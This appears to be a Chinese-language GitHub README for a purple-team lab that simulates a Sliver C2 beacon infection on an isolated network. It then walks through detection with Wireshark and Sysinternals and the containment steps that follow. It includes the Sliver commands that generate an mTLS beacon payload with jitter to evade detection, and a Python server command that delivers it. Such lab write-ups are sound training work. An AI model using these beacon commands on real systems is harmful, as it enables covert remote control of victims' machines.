ayushkp930/Enterprise-C2-Detection-Lab

GitHub: ayushkp930/Enterprise-C2-Detection-Lab

该项目是一个紫队安全实验室,通过 Sliver C2 框架模拟 mTLS beaconing 攻击并演示网络层与端点层的检测、事件响应全流程。

Stars: 1 | Forks: 0

# 企业级 C2 检测与事件响应实验室 🛡️ ## 📌 项目概述 本仓库记录了一次综合性的紫队实验室演练,重点在于模拟、检测和缓解高级命令与控制(C2)基础设施。该项目展示了恶意软件感染的生命周期,从 payload 武器化到端点根除,为 SOC 分析和威胁狩猎提供了实践见解。 **核心目标:** - 使用 Sliver C2 框架生成并投递自定义的 mTLS beacon payload。 - 分析网络流量数据包,检测 payload 投递和 C2 beacon 模式。 - 利用 Sysinternals 套件进行实时端点遥测和进程分析。 - 执行事件响应(IR)演练以进行遏制和根除。 ## 🏗️ 实验室架构 - **攻击机:** Kali Linux (IP: `192.168.56.1`) - **受害者机器:** Windows 10 x64 (IP: `192.168.56.101`) - **网络配置:** Host-Only 适配器(隔离环境) - **使用工具:** - Sliver C2 框架(对手模拟) - Python3 HTTP 服务器(payload 投递) - Wireshark(深度包检测) - Sysinternals TCPView 与 Process Explorer(端点遥测) ## ⚔️ 阶段 1:攻击模拟(红队) ### 1. 武器化 使用 Sliver 生成了一个强大的 64 位 Windows 可执行 payload(`SATISFIED_ASTROLABE.exe`)。该 payload 被配置为通过端口 8888 上的 mTLS 进行通信,利用 30 秒的 beacon 间隔和 10 秒的抖动,以规避基于静态时间的检测规则。 ``` # Sliver Listener 与 Payload 生成命令 sliver > mtls sliver > generate beacon --mtls 192.168.56.1 --os windows --arch amd64 --format exe --seconds 30 --jitter 10 ``` ![Payload 生成](https://raw.githubusercontent.com/ayushkp930/Enterprise-C2-Detection-Lab/main/assets/01-payload-generation.png) ### 2. Payload 投递 使用轻量级 Python HTTP 服务器将 payload 托管在攻击机上。受害者机器导航至该目录并下载了该可执行文件,模拟了无意下载或网络钓鱼攻击向量。 ``` # 在 Port 8080 上托管 payload python3 -m http.server 8080 ``` ![受害者下载](https://raw.githubusercontent.com/ayushkp930/Enterprise-C2-Detection-Lab/main/assets/03-victim-download.png) ![攻击者服务器日志](https://raw.githubusercontent.com/ayushkp930/Enterprise-C2-Detection-Lab/main/assets/02-payload-hosting.png) ### 3. 命令与控制(C2)建立 在 Windows 端点上执行后,该 payload 成功与 Sliver 服务器重新建立了 mTLS 连接。抖动参数成功随机化了签入时间。 ![初始 Beacon](https://static.pigsec.cn/wp-content/uploads/repos/cas/80/8064c38cda379c0368d0c0e3df572dfd229750079bea3a840ed0720316f3751d.png) ![Beacon 抖动日志](https://static.pigsec.cn/wp-content/uploads/repos/cas/4c/4c7b0653b4d677f797d3e398850f7e024c05ec8f8e0d5fd48fac0bf110246b87.png) ## 🔍 阶段 2:威胁狩猎与检测(蓝队) ### 1. 网络层检测 使用 Wireshark 执行深度包检测,以分析最初的感染向量。通过过滤流量,识别出了用于获取该恶意软件的明文 HTTP GET 请求。 - **使用的过滤器:** `ip.addr == 192.168.56.101 && ip.addr == 192.168.56.1` - **观察结果:** TCP 三次握手,随后是在端口 8080 上的 `GET /SATISFIED_ASTROLABE.exe HTTP/1.1`。 ![Wireshark 投递捕获](https://static.pigsec.cn/wp-content/uploads/repos/cas/5c/5c8395a525dcbad7372d6009a1735c684fffcf95eff52e894175d35741a939cb.png) ### 2. 端点层检测 利用 Sysinternals 工具将网络活动与本地端点进程进行了关联。 - **Process Explorer:** 识别出在后台运行且没有验证签名的活动恶意软件进程。 - **TCPView:** 确认了该恶意进程维持着活跃的 `SYN_SENT` 和 `ESTABLISHED` 状态,并连接到远程攻击者 IP 的端口 8888 上。 ![进程执行](https://static.pigsec.cn/wp-content/uploads/repos/cas/72/72cb58f2ef875b5de923c10df293a756e3154567b25ae1d9ad23f25a3c2bba35.png) ![TCPView 实时连接](https://static.pigsec.cn/wp-content/uploads/repos/cas/58/589c371db2b154deb18d056f0e4fb53eb38e3080d3bee9093dda40b28190b175.png) ## 🚨 阶段 3:事件响应(遏制与根除) 检测到威胁后,立即启动了事件响应程序以消除该威胁。 ### 1. 遏制 通过在 TCPView 中隔离该进程并强制终止它,切断了活动连接,从而切断了对手对端点的访问权限。 ![进程终止](https://static.pigsec.cn/wp-content/uploads/repos/cas/9c/9c5469a22c6bd3e34540be5452a765c7e5ada2d7f101308f5328056e9cd163d3.png) ### 2. 验证 在攻击者基础设施(Sliver 控制台)上进行的验证证实了已成功根除。beacon 无法签入,“Last Check-In”计时器超过了 15 分钟,导致会话失效。 ![确认根除](https://static.pigsec.cn/wp-content/uploads/repos/cas/c1/c1c880d7c26f0210c020ea681cbc5a5b71fbdd708d6bd10b7b6d4ae9ca7e0eb0.png) ## 👨‍💻 作者 Ayush Kumar Patel 应用企业级防御策略并持续研究 SOC 运营。 *免责声明:本仓库仅供教育和授权测试使用。所有活动均在严格隔离的本地托管虚拟实验室中进行。*
标签:C2框架, IP 地址批量处理, 安全学习资源, 安全实验环境, 库, 应急响应, 紫队, 终端检测与响应, 网络信息收集, 网络流量分析